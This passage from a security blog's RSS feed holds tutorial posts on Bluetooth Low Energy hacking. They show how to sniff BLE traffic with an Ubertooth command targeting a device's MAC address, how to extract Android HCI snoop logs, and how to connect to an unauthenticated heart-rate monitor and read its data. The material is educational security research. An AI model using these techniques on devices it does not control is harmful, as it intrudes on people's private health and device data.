digital landscape.</p><p>Now you might have understood the seriousness of ignoring code review and installing fancy codes without reading whats inside it like a script kiddie. An attacker could possibly do anything with you, actually he makes you to do that. That’s the <strong>power of social engineering</strong> and <strong>weakness of human mind</strong>.</p><p>Hope this write up opened eyes atleast for someone on the internet.</p><p><strong>Thanks for reading and Happy Hacking…</strong></p><p>Follow me here and on instagram <a href="https://www.instagram.com/whxitte"><strong>@whxitte</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fbdf2d79f93" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bluetooth hacking #3: Interacting with Bluetooth Low Energy Devices]]></title>
            <link>https://medium.com/@S3THU/bluetooth-hacking-3-interacting-with-bluetooth-low-energy-devices-1de685c5bb85?source=rss-85be55e59fb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/1de685c5bb85</guid>
            <category><![CDATA[bluetooth-low-energy]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bluetooth-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Sethu Satheesh]]></dc:creator>
            <pubDate>Wed, 10 Apr 2024 15:59:35 GMT</pubDate>
            <atom:updated>2024-05-04T13:30:50.743Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QUK2VfH0zORndYyqoSOwKw.png" /></figure><p>Hello guys, my name is <a href="https://www.instagram.com/whxitte"><strong>Sethu satheesh</strong></a>, i am a cyber security researcher and a software engineer. Welcome back to our third part of Bluetooth hacking series. First of all if you are not red the 2nd part read it <a href="https://medium.com/@S3THU/bluetooth-hacking-2-sniffing-bluetooth-low-energy-communication-01ba13d13d50"><strong><em>here</em></strong></a>. And also do follow me on instagram <a href="https://www.instagram.com/whxitte"><strong>@whxitte</strong></a><strong> </strong>.</p><p>This time, we’ll delve into interacting with Bluetooth Low Energy (BLE) devices in your everyday environment. Remember from part one, BLE offers a convenient connection method, but it can also raise security concerns. In part two, we explored sniffing BLE traffic to see the data flowing between devices. We hinted at the possibility of manipulating that data by sending it ourselves. Now, in this part, we’ll tackle precisely that — <strong>how to send crafted BLE data to a peripheral device</strong>, like to a heart rate monitor wearable. So let’s discuss how we would go about sending that Bluetooth data.</p><h4><strong>Expanding Our BLE Hacking Hardware Toolkit:</strong></h4><p>We mentioned the <strong>Ubertooth One </strong>in the previous video as a popular tool for sniffing Bluetooth Low Energy (BLE) traffic. While it’s great for eavesdropping on BLE communication, it has a crucial <strong>limitation</strong>: it can <strong>only receive</strong> data packets, <strong>not send</strong> them. So we here focus on interacting with BLE devices, we need tools that allow <strong>two-way communication</strong>.</p><p>The good news is, you might already have some powerful tools in your pocket and on your desk! most of our <strong>smartphones </strong>and <strong>PCs </strong>are equipped with built-in Bluetooth functionality. These devices can not only receive BLE data from nearby devices, but also transmit their own BLE data packets. This capability makes them suitable for interacting with various BLE peripherals in your environment, like heart rate monitors, fitness trackers, or smart home gadgets.</p><p>However, there are situations where a dedicated tool might be advantageous. If you’re working in a virtual machine environment, separate from your main operating system, you might encounter limitations on Bluetooth access. Similarly, in a work environment with restricted software installations, your options for using the built-in Bluetooth functionality might be limited. In these cases, a separate <a href="https://www.amazon.in/TP-Link-Bluetooth-Receiver-UB500-Controllers/dp/B098K3H92Z/ref=pd_ci_mcx_pspc_dp_d_2_t_6?pd_rd_w=QDRgG&amp;content-id=amzn1.sym.c951cdb5-f0e8-4efb-abcb-595e3ce751f9&amp;pf_rd_p=c951cdb5-f0e8-4efb-abcb-595e3ce751f9&amp;pf_rd_r=FX3VHVD99VHZGTK71XTM&amp;pd_rd_wg=YbMYh&amp;pd_rd_r=b5be0845-0a88-4cbd-b00e-e5fb9b45532e&amp;pd_rd_i=B098K3H92Z&amp;th=1">USB Bluetooth dongle</a> can be a lifesaver. They can be bought at a cheap rate and these dongles act as dedicated Bluetooth adapters, allowing you to connect to BLE devices and send/receive data even when using a virtual machine or a work computer with limited software options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*jbhipsLYA50pLi3GjXZimA.png" /><figcaption><a href="https://www.amazon.in/TP-Link-Bluetooth-Receiver-UB500-Controllers/dp/B098K3H92Z/ref=pd_ci_mcx_pspc_dp_d_2_t_6?pd_rd_w=QDRgG&amp;content-id=amzn1.sym.c951cdb5-f0e8-4efb-abcb-595e3ce751f9&amp;pf_rd_p=c951cdb5-f0e8-4efb-abcb-595e3ce751f9&amp;pf_rd_r=FX3VHVD99VHZGTK71XTM&amp;pd_rd_wg=YbMYh&amp;pd_rd_r=b5be0845-0a88-4cbd-b00e-e5fb9b45532e&amp;pd_rd_i=B098K3H92Z&amp;th=1">USB Bluetooth dongle</a></figcaption></figure><p>Now, let’s delve into a particularly powerful tool for BLE interaction: the <a href="https://www.digikey.com/en/products/detail/nordic-semiconductor-asa/NRF52840-DONGLE/9491124"><strong>Nordic Semiconductor NRF52840</strong></a> development kit dongle. This hardware goes beyond a simple Bluetooth adapter. It’s a full-fledged development kit paired with <a href="https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop"><strong>NRF Connect software</strong></a><strong> — </strong>a proprietary set of Bluetooth development tools, available for both desktop and mobile platforms. The true strength of the NRF52840 dongle lies in its versatility. It boasts a built-in, low-power radio that can not only handle BLE communication but also supports other wireless protocols like Thread and Zigbee. Incredibly, it even allows you to develop and transmit your own custom protocols on the 2.4 GHz frequency band. While primarily designed for developers to create and test BLE-enabled devices, the NRF52840’s extensive capabilities make it a valuable asset for researchers in the field of BLE hacking. Its flexibility allows for in-depth exploration of BLE communication and potential vulnerabilities in BLE implementations. It’s just a very incredible piece of hardware that I think is really being undervalued in the hacker community as a hacker tool. It’s primarily for developers and IoT developers, but I think it has a lot of power for us in the hacker community.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*j4oYb6h9VplF8DR4oh7Yhg.png" /><figcaption>Nordic Semiconductor NRF52840</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*bjkLGEslt8umv4eqlSDw6w.png" /><figcaption>NRF connect mobile app</figcaption></figure><h4>Expanding Our BLE Hacking Software Toolkit: <strong>NRF Connect and Beyond</strong></h4><p>Now that we’ve explored the hardware options, let’s discuss the software that unlocks their potential for interacting with BLE devices. Here, we’ll encounter a powerful tool called <a href="https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp&amp;hl=en"><strong>NRF Connect</strong></a>, available on both mobile platforms: Android and iOS.</p><p>It’s important to note that Apple’s App Store can be stricter regarding security-related applications. However, NRF Connect falls under the category of development tools. Its primary purpose is to assist developers who create Internet-of-Things (IoT) devices using Bluetooth Low Energy. By allowing them to test their creations directly with smartphones, NRF Connect provides a valuable service for developers. This focus on development likely explains why it’s available on the iOS App Store.</p><p>For the PC counterpart, there’s a desktop version of NRF Connect that works seamlessly with the NRF52840 development kit dongle we discussed earlier. While smartphones can leverage their built-in Bluetooth capabilities, the desktop software requires the specific Nordic Semiconductor dongle for operation. We’ll be using NRF Connect for desktop here.</p><p>However, NRF Connect isn’t the only option in your BLE hacking toolbox. For more complex scenarios, you might explore libraries like <a href="https://bleak.readthedocs.io/en/latest/"><strong>Bleak </strong></a>for Python. This library shines in automating BLE interactions, a valuable asset when dealing with intricate exploits that involve multiple services, data transmission, and reception simultaneously. While point-and-click tools like NRF Connect offer a user-friendly interface, automation through libraries like Bleak unlocks a new level of control for crafting advanced attacks.</p><blockquote>If you’re interested in automating complex BLE attacks or even developing your own advanced BLE hacking tools, I encourage you to explore more along with the knowledge from here.</blockquote><h4>Now let’s jump into the BLE hacking demonstration part:</h4><p><strong>Exploring BLE Devices with NRF Connect</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s4rFHj-JnFqeg8pFQi7PYg.png" /><figcaption>nrf connect desktop version [we click on 1st option — Bluetooth low energy]</figcaption></figure><p>Now that we’re familiar with the tools, let’s see them in action! We’ll be using NRF Connect, a powerful software tool, to interact with BLE devices. As mentioned earlier, NRF Connect goes beyond BLE — it offers various functionalities for developers working with different technologies.</p><p>Here, we’ll focus on the Bluetooth Low Energy application within NRF Connect. We’ll plug in the NRF52840 development kit dongle to PC and launch the application. As expected, NRF Connect recognizes the dongle seamlessly.</p><p>Next, we’ll initiate a scan for nearby BLE devices. This “passive scan” reveals interesting information — in our case, we can see a device advertising itself as a heart rate monitor! This is valuable because it tells us the service this device offers, even before connecting to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fmXw-YDJb8Ub6Df9DVhIew.png" /><figcaption>Screenshot of nrf connect discovered our connected NRF52840 dongle</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XiGTFdI8Jx7Yi2ozyrYhyg.png" /><figcaption>connected to our dongle successfully</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*duNRnkRLt4bycp1_l-28jA.png" /><figcaption>connected to my heart rate onitor watch</figcaption></figure><p>Here we can see something really interesting before I have even connected to this, this is a hundred percent passive scan of the Bluetooth devices around me. We can see that this device is declaring itself to the world to provide a heart rate service. That’s incredible, right? We haven’t even connected to it but let’s go ahead and connect to it so we click button and we connect.</p><p><strong>Connecting and Exploring Services</strong></p><p>We can now connect to the heart rate monitor. It’s important to remember from part one of this series that BLE connections by default lack encryption or authentication [that would require pairing or another type of pairing that I think we’ll see in here called bonding]. More secure pairing methods exist, but for now, we’ll focus on the unencrypted connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qwRVYQkYCAsAJ4I8GIHXdw.png" /><figcaption>here is it, we can optionally try to pair with this thing</figcaption></figure><p>This device will actually just crash the whole connection and you’ll have to disconnect and start over if you try to communicate with it securely by pairing to it, but if we don’t do that we see all of these interesting Services uh here so each of these is a different service that it’s offering and then within that service it has some of those like characteristics that we talk about that really we can just think of them as like API endpoints here.</p><p>Once connected, NRF Connect displays various “Services” offered by the heart rate monitor. Each service represents a specific functionality, like the “Heart Rate Service” we’re interested in. Within each service are “Characteristics,” which can be thought of as data points or control options.</p><p>For instance, one characteristic allows us to read and even change the device name! While this might not be super useful, it demonstrates the level of interaction possible without any complex hacking techniques.</p><p>We can also see a custom service with unidentified characteristics shown as gibrish wired names[The one service shown as the 3rd option tn the image, the one service after ‘Generic attribute’]. These custom elements are defined by developers for specific purposes, and often require some reverse engineering to understand their functionality. This could involve analyzing captured BLE traffic or even the mobile app that interacts with the device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*BDmhcWZd9OS8DVC8099H4g.png" /></figure><p>So here the device name this is not exactly the device name that came with this device because I forgot what it was initially. But we can see that the <strong>read and the write permissions are set</strong> on this device name characteristic so we can actually change this device name. Um, I don’t know why you’d need to but that’s the permission shown there. Now let’s look at the heart rate service option:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*ulnStgmXBH97gQw7hq09Hg.png" /></figure><p>If you click at the play button in the ‘Heart rate measurement’ and it will continuously update with the data and we can also monitor the update on the bottom screen as you seen above.</p><p>That’s in HEX and so that have to be converted to decimal to determine what that heart rate value is, so there we have it without authenticating it all have scanned around us connected to this device without any reverse engineering. A mobile app have already been able to do a lot of stuff and potentially we could do even more with with these Services up here if we were to do a better reverse engineering to figure out what those are.</p><p><strong>This demonstration highlights several key points:</strong></p><ul><li>We were able to scan for and connect to a BLE device without any authentication.</li><li>We explored various services and characteristics offered by the device.</li><li>We accessed live heart rate data without any reverse engineering of the mobile app associated with the device.</li></ul><p>However, with further reverse engineering, we could potentially extract even more information or manipulate the device’s behavior through those unidentified services. This is just a glimpse into the possibilities of BLE hacking with NRF Connect. By understanding BLE communication and exploring these tools, researchers can gain valuable insights into the security posture of BLE devices.</p><p>Let’s wrap up this part of Interacting with BLE devices with some key observations based on my research:</p><ul><li><strong>Insecurity of Low-Cost Devices:</strong> The abundance of affordable BLE devices often comes at the cost of weak security. The Bluetooth Low Energy specification itself doesn’t mandate encryption or authentication by default when connecting devices. This leaves the responsibility for implementing secure pairing methods to developers, which can be a complex task. Unfortunately, many Internet-of-Things (IoT) devices simply skip this step, leaving them vulnerable.</li><li><strong>Limited Resources for BLE Hacking:</strong> Compared to the wealth of resources available for Wi-Fi hacking, the BLE hacking landscape seems less developed. This might explain why BLE devices haven’t received as much scrutiny in security research. While research is ongoing, there’s a clear gap compared to the well-established tools and knowledge base for Wi-Fi security assessments.</li><li><strong>Cost-Driven Development and Security Risks:</strong> Many IoT markets prioritize cost leadership, where companies compete by offering the cheapest products to win market share. This “race to the bottom” approach often leads to insufficient security budgets. The result? Cool, low-cost devices with potentially significant security vulnerabilities.</li></ul><p>So, with that, that will conclude part three where we discussed how to interact with Bluetooth Low Energy devices. Wait for the next interesting part where we discuss about Bluetooth attacks and much more to see…</p><p>Thank you and happy h4cking :)</p><p>Follow here for more intresting contents and follow me on instagram <a href="https://www.instagram.com/whxitte">@whxitte</a></p><p>~ By Sethu Satheesh</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1de685c5bb85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bluetooth hacking #2: Sniffing Bluetooth Low Energy communication]]></title>
            <link>https://medium.com/@S3THU/bluetooth-hacking-2-sniffing-bluetooth-low-energy-communication-01ba13d13d50?source=rss-85be55e59fb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/01ba13d13d50</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bluetooth-low-energy]]></category>
            <category><![CDATA[bluetooth-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Sethu Satheesh]]></dc:creator>
            <pubDate>Sun, 31 Mar 2024 17:32:51 GMT</pubDate>
            <atom:updated>2024-05-04T13:31:37.705Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*momB30NC7lkoMLRlUtJ7bg.png" /></figure><p>Hello guys, my name is <a href="https://www.instagram.com/whxitte"><strong>Sethu satheesh</strong></a>, i am a cyber security researcher and a software engineer. This is our second part of Bluetooth hacking series. First of all if you are not red the 1st part read it <a href="https://medium.com/@S3THU/bluetooth-hacking-a-guide-for-cyber-security-enthusiasts-1-2f50a2b03136"><strong><em>here</em></strong></a>. And also do follow me on instagram <a href="https://www.instagram.com/whxitte"><strong>@whxitte</strong></a><strong> </strong>.</p><p>In this second part of our Bluetooth hacking series we will be focusing on Bluetooth low energy (BLE) and we will delve into the <strong>process of</strong> <strong>capturing BLE traffic</strong>. If you haven’t watched Part 1 yet, where we provided a general overview of BLE, I highly recommend checking it out first. Okey without any further do, let’s jump into the second part of this series where we talk about capturing Bluetooth Low Energy traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ilkruKVFoQlUg-IrvTIaw.png" /></figure><p>We’ve got all these tools here, and I see it constantly told to the hacker community that “if you want to do Bluetooth hacking, you got to get the <strong>Ubertooth One</strong>, and that’s the thing that you’re going to use, that’s the Bluetooth hacking tool…”, but I will say it’s the least used tool out of everything else that you’ll see on the screen here.</p><p>we have the <strong>Nordic Semiconductor NRF52840</strong>. This is a dongle that has a really cool SOC that’s made by Nordic Semiconductor. It doesn’t just do Bluetooth Low Energy; it also does Google’s new Thread protocol, it does Zigbee, it does a bunch of other stuff that operates on 2.4 gigahertz. Up above your basic <strong>Bluetooth dongle</strong>, that can be really helpful, especially if you’re operating inside of a VM because you can’t do Bluetooth stuff inside of a VM unless you have a USB device that’s passed through to that VM. But the number one tool that I use for capturing Bluetooth data is none of those other tools that I just mentioned. <strong>It is the device there on the left, it is my trusty mobile phone. </strong>Let’s have a detailed look:</p><ol><li><strong>Ubertooth One</strong>:</li></ol><ul><li>Ubertooth One is a popular open-source Bluetooth development platform that allows users to monitor and analyze Bluetooth communications. It’s designed specifically for Bluetooth Low Energy (BLE) hacking and monitoring activities.</li><li>It’s equipped with features like monitoring Bluetooth traffic in real-time, capturing packets, and analyzing Bluetooth protocols. This makes it a valuable tool for security researchers, developers, and hobbyists interested in Bluetooth security and analysis.</li><li>Ubertooth One can be used for various purposes such as sniffing Bluetooth communications, identifying vulnerabilities, analyzing encryption methods, and testing Bluetooth-enabled devices for security weaknesses.</li></ul><p><strong>2. Nordic Semiconductor NRF52840</strong>:</p><ul><li>Nordic Semiconductor NRF52840 is a Bluetooth Low Energy (BLE) system-on-chip (SoC) that integrates Bluetooth capabilities into electronic devices. It’s commonly used in IoT devices, wearables, and other connected products.</li><li>This SoC provides advanced features for BLE communications, including support for Bluetooth 5.0, BLE mesh networking, low power consumption, and compatibility with various BLE profiles and services.</li><li>Developers and manufacturers use NRF52840 to create Bluetooth-enabled products with reliable wireless connectivity, energy efficiency, and support for modern BLE features and standards.</li></ul><p><strong>3. Basic Bluetooth Dongle</strong>:</p><ul><li>A basic Bluetooth dongle refers to a standard Bluetooth adapter that provides Bluetooth connectivity to devices like computers, laptops, and other systems. These dongles are often used to add Bluetooth functionality to devices that don’t have built-in Bluetooth support.</li><li>They typically support Bluetooth Classic and may also support Bluetooth Low Energy depending on the model. Basic Bluetooth dongles are used for tasks like connecting wireless peripherals (e.g., keyboards, mice, headphones), transferring files wirelessly, and creating Bluetooth-enabled setups.</li><li>Unlike specialized tools like Ubertooth One or NRF52840, basic Bluetooth dongles offer general Bluetooth connectivity without advanced monitoring or hacking capabilities. They are more commonly used for everyday Bluetooth tasks in consumer electronics.</li></ul><p>We will look about how to extract Bluetooth data that has been communicated with an android phone. We can also do with ios devices but bit of process is involved.</p><h4>Getting BLE Packets</h4><p>To capture Bluetooth Low Energy (BLE) packets effectively, you have 2 main options depending on the control you have over the devices involved in the communication.</p><p><strong>Firstly</strong>, if you have control over at least one of the devices (such as a smart device or wearable like a heart rate monitor), capturing packets becomes more reliable and offers several advantages:</p><ul><li><strong>Reliable Data</strong>: When capturing packets from a device you control, you can obtain reliable and accurate data without interference or unknown variables.</li><li><strong>Pre-Encryption Data</strong>: Importantly, you can capture data before encryption is applied, leveraging the Host Controller Interface (HCI) layer advantage. This means you can access data at a lower level in the Bluetooth stack before encryption occurs at the link layer.</li></ul><p>For example, if the communication involves a heart rate monitor and your Android phone, enabling developer options on your Android device allows you to take a Bluetooth capture log. This log can then be extracted and analyzed. Similarly, if the communication is between devices like desktop machines (Linux, Windows, or macOS), various tools are available on these systems to capture BLE packets effectively.</p><p>However, if both devices involved in the BLE communication <strong>are not under your control</strong>, you may need to resort to c<strong>apturing packets over the air</strong>, which comes with its own set of challenges:</p><ul><li><strong>Unreliable Method</strong>: Capturing packets over the air is less reliable compared to capturing from controlled devices. Factors like distance, interference, and signal strength can impact the quality and completeness of captured data.</li><li><strong>Potential Encryption</strong>: In scenarios where encryption is applied, capturing over the air may result in potentially encrypted data, making it harder to interpret or analyze without decryption keys.</li><li><strong>Last Resort</strong>: This method should be considered a last resort when you have no control over both the master and slave devices in the BLE communication.</li></ul><p>It’s crucial to note that encryption in BLE is applied at the link layer, which means that capturing packets over the air may not provide access to pre-encryption data as with controlled captures. This limitation underscores the importance of prioritizing controlled captures whenever possible to ensure reliable and comprehensive data capture for analysis and security research purposes.</p><p>So we need to start with the first method and try to do everything in your power to get a reliable capture from one of the devices from Bluetooth low energy exchange.</p><h4>Now let’s look at this in action:</h4><p>So, how do we pull this data off of an Android device? you need to enable <strong>Developer Mode</strong>, you go and you click like the build number option from about device in settings of your phone like seven times, I think it is, and then this option appears in the <strong>developer options.</strong> You will see there it will show <strong>Bluetooth HCI</strong> option, that stands for Host Controller Interface like we talked about earlier (Snoop Log). So, this is going to generate it, this is going to log all Bluetooth traffic, and a bunch of other stuffs that you really don’t care about, some really low-level messages between the host and controller that we don’t care about, but also all of the good stuff is going to get put into the log file. If it’s a rooted device or non rooted device, it will work. The log file, it’s named <strong><em>.log</em></strong>, it’s not exactly a pcap file, but you can kind of call it a pcap file. It can get open directly in Wireshark, so this is really a Grade A option for when we’re trying to capture packets, which we will do in a second.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uEKrG1_6Mot2NyE3m-MY5Q.jpeg" /><figcaption>Bluetooth HCI log option (You need to make it enable)</figcaption></figure><p><strong>If your phone is rooted </strong>you can get the file directly from the file system, it’s location may differ and the name will be “btsnoop_hci.log” that might also differ. <strong>If your phone is non-rooted </strong>you need to run “adb bugreport” to pull all the logs, then you will get a .zip file which you need to extract and there you can find the “btsnoop_hci.log” file. The file can be directly opened and analyzed by <a href="https://www.wireshark.org/download.html">wireshark </a>tool. We will look at this shortly.</p><p><strong>When we lack control over both devices</strong> in a Bluetooth Low Energy (BLE) communication, we <strong>rely on a sniffing tool like the Ubertooth One</strong>. These Ubertooth devices are essential for reliable sniffing. As mentioned <a href="https://medium.com/@S3THU/bluetooth-hacking-a-guide-for-cyber-security-enthusiasts-1-2f50a2b03136">previous writeup</a>, devices advertising their services can do so on three advertising channels. To capture the initial connection between a central and peripheral device, you must listen on the right channel at the right time. For dependable results, employing three Ubertooth devices to sniff on all three channels simultaneously is recommended. This ensures that one of them captures the desired packet data. So we need to use 3 Ubertooth devices.</p><p>For enhanced reliability, utilize the “-t” flag to specify the MAC address of the target device. This approach enables you to focus solely on connections matching the specified MAC address, optimizing the Ubertooth’s utility. Determine the MAC address of your target device beforehand using various methods. The captured data can then be piped directly to Wireshark, although this method may encounter issues. The best is by using the Linux command with the “-F” flag ensures seamless connection tracking. The “-t” flag targets a specific MAC address, while the “-c” flag outputs data to a pcap file, facilitating analysis in Wireshark.</p><blockquote><strong>• Linux command: — ubertooth-btle -f-t XX:XX:XX:XX:XX:XX -c out.pcap</strong></blockquote><blockquote>The command “ubertooth-btle -f -t XX:XX:XX:XX:XX:XX -c out.pcap” is used for sniffing Bluetooth Low Energy (BLE) packets using the Ubertooth One device and saving the captured data to a pcap (packet capture) file named “out.pcap”. Let’s break down the components of this command:</blockquote><blockquote><strong>ubertooth-btle:</strong> This is the command to run the Ubertooth One tool specifically designed for Bluetooth Low Energy (BLE) sniffing.</blockquote><blockquote><strong>-f:</strong> This flag indicates that the tool should follow or “sniff” Bluetooth Low Energy packets.</blockquote><blockquote><strong>-t XX:XX:XX:XX:XX:XX:</strong> This flag specifies the target MAC address (XX:XX:XX:XX:XX:XX) of the device whose BLE packets you want to capture. Replace “XX:XX:XX:XX:XX:XX” with the actual MAC address of the target device.</blockquote><blockquote><strong>-c out.pcap:</strong> This flag instructs the tool to save the captured BLE packets to a pcap (packet capture) file named “out.pcap”. You can replace “out.pcap” with any desired filename.</blockquote><blockquote>Putting it all together, the command is telling the Ubertooth One tool to sniff BLE packets, target a specific device with the specified MAC address, and save the captured packets to a pcap file named “out.pcap”. Make sure to replace “XX:XX:XX:XX:XX:XX” with the actual MAC address of the device you want to target and customize the output filename as needed.</blockquote><p>So, we are going to do a Wireshark demo. So, the data that we’re going to look at is a data dump from my phone when it was communicating to my heart rate monitor wearable. And so, just so it’s easier to see, we have a couple of filters in wireshark. So, when we get into Wireshark, it’s going to be really important to just get rid of a bunch of noise if we want to just see Bluetooth Low Energy data that’s being transferred. This “<strong>btatt</strong>” filter is going to be very effective, and then there’s this really helpful dialogue which we’ll get into. But underneath the wireless menu, there a menu option called <strong>Bluetooth ATT Server</strong> Attributes that’s going to give us some insight into those characteristics, those services that are available and being enumerated by Wireshark with the data that it sees going over the air.</p><p><strong>First unzip the bug report file from our android phone:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*-Uf4bKCIawsF0P7I3HMM0A.png" /><figcaption>Unzipped the bug report file which contains the hci snoop log</figcaption></figure><p><strong>Open the btsnoop_hci.log file with wireshark:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LA7l0PAHmGKvh1TynF-T7g.png" /><figcaption>screenshort of the log file opened in wireshark</figcaption></figure><p><strong>Apply the filter “btatt” to filter out the traffic:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HdLLBRsBzGa2FI8yBu-94g.png" /><figcaption>filter applied</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WgKbqkZmKlnw1pEz5VGCw.png" /><figcaption>Send and Read responses sample</figcaption></figure><p><strong>ATT server attributes option:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qFKFGTE3N8x1Z4h58ujlTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*Sr0yHeCY7zdM1iW6PESpaA.png" /><figcaption>ATT server attribute insights about the UUIDs</figcaption></figure><p>In summary, this write-up offers a detailed exploration of Bluetooth Low Energy (BLE) hacking and packet capturing methodologies. It introduces essential tools such as Ubertooth One, Nordic Semiconductor NRF52840, and basic Bluetooth dongles, explaining their roles in monitoring BLE communications. The discussion encompasses controlled capture techniques from devices under your control, emphasizing the reliability of obtaining pre-encryption data and accurate packet analysis. Over-the-air capture methods are also covered, particularly useful when both devices are beyond your control. The write-up provides insights into enabling Bluetooth HCI logging on Android devices and leveraging sniffing tools like Ubertooth One, along with a Wireshark demonstration for effective data analysis. It concludes by stressing the importance of thorough research, meticulous data analysis, and security awareness in Bluetooth hacking and BLE packet capturing endeavors</p><p>So, with that, that will conclude part two where we discussed how to sniff Bluetooth Low Energy traffic. Wait for the next part where we discuss how to reach out and interact with Bluetooth Low Energy devices around you. And much more to see…</p><p>I recommend to do a deep research over this part we done today and gain more knowledge like how to clearly analyze the data packets in wireshark and read information and so on.</p><p>Thank you and happy h4cking :)</p><p>Follow here for more intresting contents and follow me on instagram <a href="https://www.instagram.com/whxitte">@whxitte</a></p><p>~ By <a href="https://www.instagram.com/whxitte">Sethu Satheesh</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01ba13d13d50" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bluetooth Hacking: A Guide for Cyber Security Enthusiasts #1]]></title>
            <link>https://medium.com/@S3THU/bluetooth-hacking-a-guide-for-cyber-security-enthusiasts-1-2f50a2b03136?source=rss-85be55e59fb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f50a2b03136</guid>
            <category><![CDATA[bluetooth-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bluetooth-low-energy]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sethu Satheesh]]></dc:creator>
            <pubDate>Sat, 30 Mar 2024 18:42:49 GMT</pubDate>
            <atom:updated>2024-05-04T13:32:38.549Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*puYcZ8BaJogfeRafvfXkLw.jpeg" /></figure><p>Hey guys, my name is <a href="https://www.instagram.com/whxitte"><strong>Sethu Satheesh</strong></a>, a cyber security researcher and a software engineer. In this write up we are going to dive into the concepts of bluetooth hacking, so let’s start it from the first basics and go to the advances exploits. For interesting contents like this do follow me and follow me on instagram <a href="https://www.instagram.com/whxitte"><strong>@whxitte.</strong></a></p><blockquote>#Bluetooth Hacking — part 1</blockquote><p>Bluetooth is a wireless communication protocol that allows devices to connect and exchange data over short distances. It is widely used for various purposes, such as connecting headphones, speakers, keyboards, mice, smartwatches, and other peripherals to smartphones, laptops, tablets, and other devices.</p><p>However, Bluetooth also poses potential security risks that can be exploited by hackers to gain unauthorized access to devices or data.</p><p>Bluetooth enabled shipments are increasing day by day. So the market of Bluetooth is never decreasing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qwEIo5qIHtzp7joJ__cRlA.png" /><figcaption>Bluetooth market</figcaption></figure><p><strong>Bluetooth </strong>operates on a <em>frequency hopping spread spectrum</em> (FHSS) technique, as compare it with Wi-Fi’s channel-based approach. While Wi-Fi devices typically remain fixed on a specific channel once transmission begins, Bluetooth dynamically utilizes its entire frequency band, hopping through 79 channels at a rapid pace of 1600 hops per second. This dynamic hopping enhances reliability by minimizing interference but as from our hacker’s it also poses challenges for unauthorized sniffing attempts. Unlike Wi-Fi signals that remain predictable on a single channel, Bluetooth’s agile frequency hopping pattern requires sophisticated synchronization methods and equipment for successful interception and analysis, we will explore this in detail later.</p><h3><strong>Bluetooth Versions</strong>:</h3><ol><li><strong>Classic Bluetooth</strong>:</li></ol><p>Classic Bluetooth, designated for data-intensive tasks such as audio streaming, file transfers, and direct device communication, operates within the 2.4 GHz frequency spectrum, the same band shared by common Wi-Fi networks and household microwave ovens. This iteration of Bluetooth boasts a maximum data throughput ranging from 1 to 3 Mbps, although newer versions can support higher speeds. Classic Bluetooth utilizes a frequency-hopping mechanism across 80 channels, contributing to its robustness against interference and coexistence with other wireless technologies. However, due to its higher power consumption compared to Bluetooth Low Energy (BLE), Classic Bluetooth is more suitable for applications where data throughput and continuous connectivity take precedence over energy efficiency.</p><p>Used for data-intensive applications like audio streaming, file transfer, and device-to-device communication.</p><p><strong>2. Bluetooth Low Energy (BLE)</strong>:</p><p>Bluetooth Low Energy (BLE) stands out as a revolutionary technology tailored for low-power applications and IoT devices with stringent energy requirements. Offering significantly reduced power consumption compared to Classic Bluetooth, BLE facilitates intermittent data transfer while ensuring extended battery life. With data transfer rates ranging from 125 kbps to a maximum of 2 Mbps, BLE caters to diverse application needs, from simple sensor data collection to more data-intensive tasks like firmware updates or audio streaming. Its 